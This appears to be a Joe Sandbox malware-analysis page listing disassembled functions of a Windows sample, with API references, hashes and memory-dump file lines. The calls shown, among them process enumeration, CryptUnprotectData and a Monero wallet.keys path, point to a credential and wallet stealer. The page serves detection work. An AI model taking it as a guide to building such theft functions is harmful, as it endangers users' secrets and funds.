Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :]sn$<wy$=fy$4w
API String ID: 0-2043813047
Opcode ID: 47288bfcf7e541bb021e66183569545578f700d458d4087e4f5b9db31c6131ba
Instruction ID: 54edf3aaae6764c3c4a0fef0f0accc69ccf8a8257d88f9218a056f2b450cd341
Opcode Fuzzy Hash: 47288bfcf7e541bb021e66183569545578f700d458d4087e4f5b9db31c6131ba
Instruction Fuzzy Hash: BFB23AF360C6049FE304AE2DEC8577ABBE9EBD4320F1A463DE6C4C3744E97598058696

Function 011B16D8 Relevance: 6.6, Strings: 4, Instructions: 1640COMMON

Download Yara Rule

Strings

e\c, xrefs: 011B1D11
4>#, xrefs: 011B1EA0
e\c, xrefs: 011B1CF3
-Go, xrefs: 011B22AA

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -Go$4>#$e\c$e\c
API String ID: 0-1158676964
Opcode ID: afa61a0892e925033c8b9025bacdb92940ddfdecece14e28a23c76c310adab28
Instruction ID: 5a42c8039e3ce3397971b985325a50114f3d009593a3a20cc831a2be884de338
Opcode Fuzzy Hash: afa61a0892e925033c8b9025bacdb92940ddfdecece14e28a23c76c310adab28
Instruction Fuzzy Hash: 3DB2E6F360C2049FE304AE2DEC8567AB7E9EF94320F16893DEAC5C7744E63598058697

Function 011C5904 Relevance: 6.6, Strings: 4, Instructions: 1612COMMON

Download Yara Rule

Strings

{m*, xrefs: 011C5A47
2E, xrefs: 011C6002
M/{, xrefs: 011C5B2C
Qp|, xrefs: 011C5AA8

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: M/{$Qp|${m*$2E
API String ID: 0-2622164832
Opcode ID: bdb3fc50526403288280ed8e7d7b7244ed2a93ac67a1adb852ad6c724c138276
Instruction ID: 6358679d116aeaef0b4832a70c7d9f21f68e1c820b24b76d1b5a890542f8711a
Opcode Fuzzy Hash: bdb3fc50526403288280ed8e7d7b7244ed2a93ac67a1adb852ad6c724c138276
Instruction Fuzzy Hash: 40B207F3A082009FE704AE2DEC8577ABBE9EF94720F16493DE6C4C7744E63598058697

Function 00DF8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00E005B7), ref: 00DF86CA
Process32First.KERNEL32(?,00000128), ref: 00DF86DE
Process32Next.KERNEL32(?,00000128), ref: 00DF86F3

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

CloseHandle.KERNEL32(?), ref: 00DF8761

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 13de2375701789094fd049e58dbb093793072892d376110ca8717b0f2d9eea34
Instruction ID: 742cccd4e8f89916b3199d2cc1143c6c113ad21825a019b413c246458f40adfc
Opcode Fuzzy Hash: 13de2375701789094fd049e58dbb093793072892d376110ca8717b0f2d9eea34
Instruction Fuzzy Hash: 5F3127B190121CABCB24EF54CC45FEEB778EB49740F1181A9E60EA6190DF746A45CFB1

Function 00DF8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00DE5184,40000001,00000000,00000000,?,00DE5184), ref: 00DF8EC0

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 83291a4b133f1a44810521b055b3229c340f5a91a61c2b6447a25c928b5e673c
Instruction ID: 47494f05f8b0022e4e692e75ce3ed8f317998b5e9bdc4d7ce45925907992e570
Opcode Fuzzy Hash: 83291a4b133f1a44810521b055b3229c340f5a91a61c2b6447a25c928b5e673c
Instruction Fuzzy Hash: 17110670200208EFDB10CF64D889FBA73A9AF89714F11D448FE598B240DB76E841EB71

Function 00DE9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00DE4EEE,00000000,00000000), ref: 00DE9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00DE4EEE,00000000,?), ref: 00DE9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00DE4EEE,00000000,00000000), ref: 00DE9B2A
LocalFree.KERNEL32(?,?,?,?,00DE4EEE,00000000,?), ref: 00DE9B3F

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 8a93cd8558a64ece8561a0c04b43fbe8f2269294a23aa0812fd26f59533327df
Instruction ID: 129c905bc1d711d214f83148dd6ac0b9a748e02c9e02ecbbf5f687160fd01a6b
Opcode Fuzzy Hash: 8a93cd8558a64ece8561a0c04b43fbe8f2269294a23aa0812fd26f59533327df
Instruction Fuzzy Hash: 6D11A4B4241208FFEB10CF64D895FAAB7B5FB89700F208058FE159B384C7B6A941CB50

Function 00DF7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00E00E00,00000000,?), ref: 00DF79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00DF79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00E00E00,00000000,?), ref: 00DF79C4
wsprintfA.USER32 ref: 00DF79F3

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: e4e166f3b5a152e8442ba719110141c3bac65a562f58fadca71ee1bc3588b023
Instruction ID: 341fd929aec26f3dcdf41508b6263fbf20f9472329a0ac6c40a84af4f79fbc76
Opcode Fuzzy Hash: e4e166f3b5a152e8442ba719110141c3bac65a562f58fadca71ee1bc3588b023
Instruction Fuzzy Hash: 161115B2A04118EACB249FC9D945BBEB7F8EB4CB11F10425AF645A2684E7795940CBB0

Function 00DF7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0197EBF0,00000000,?,00E00E10,00000000,?,00000000,00000000), ref: 00DF7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00DF7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0197EBF0,00000000,?,00E00E10,00000000,?,00000000,00000000,?), ref: 00DF7A7D
wsprintfA.USER32 ref: 00DF7AB7

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 73d8cbc166753137f943fbc8b54b53f8af346b5373a1121081401712dfa0a6d3
Instruction ID: 898ab09815d90c0b4102b7960749e66ad323736eba80725155b604ac406b3079
Opcode Fuzzy Hash: 73d8cbc166753137f943fbc8b54b53f8af346b5373a1121081401712dfa0a6d3
Instruction Fuzzy Hash: 021182B1A45218DFDB208F54DC49FA9B778F704721F114396E60A936C0D7745A40CF50

Function 00DF3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00DFE118,00000000,00000001,00DFE108,00000000), ref: 00DF3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00DF37B0

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 244adc25883f8bcc6f150b77d0aa20ff1d6f798ae32cd0b5023bc18e3971de24
Instruction ID: 5b8ebf536b15b3d36c9e88a9d01025d26e24471ecd6ac5bd044f591e8349a74a
Opcode Fuzzy Hash: 244adc25883f8bcc6f150b77d0aa20ff1d6f798ae32cd0b5023bc18e3971de24
Instruction Fuzzy Hash: 4641E870A00A1C9FDB24DB58CC94BABB7B4BB48702F4181D8E609A7290D771AE85CF60

Function 00DE9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00DE9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00DE9BA3
LocalFree.KERNEL32(?), ref: 00DE9BD3

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: bb64e4f9816e99300129532410b32f15384635650195eab6eeed5028a7262e76
Instruction ID: 44ec17b035c11d7f32329c2b4ab6f327c962803c99e4690edb7f06be4d192650
Opcode Fuzzy Hash: bb64e4f9816e99300129532410b32f15384635650195eab6eeed5028a7262e76
Instruction Fuzzy Hash: 321109B8A00209EFCB04DF94D985AAEB7B5FF88300F1045A8EC15A7344D775AE51CFA1

Function 00DEF68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E015B8,00E00D96), ref: 00DEF71E
StrCmpCA.SHLWAPI(?,00E015BC), ref: 00DEF76F
StrCmpCA.SHLWAPI(?,00E015C0), ref: 00DEF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEFAB1
FindClose.KERNEL32(000000FF), ref: 00DEFAC3

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 860767f2abb459de7818cbe3f2a18e9fac0d069851562fc3e7ad68480e638212
Instruction ID: fc7b7341aa6ecb4d20b72bd98074281e275ef6ee9ea65ca63af27af9697cdc9f
Opcode Fuzzy Hash: 860767f2abb459de7818cbe3f2a18e9fac0d069851562fc3e7ad68480e638212
Instruction Fuzzy Hash: 7E11A5B180015D9BDB24FB64DC559FD7378EF10300F45C2A5A60E56092EF702B4ACBB2

Function 010E599E Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

F.+?, xrefs: 010E5A17

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
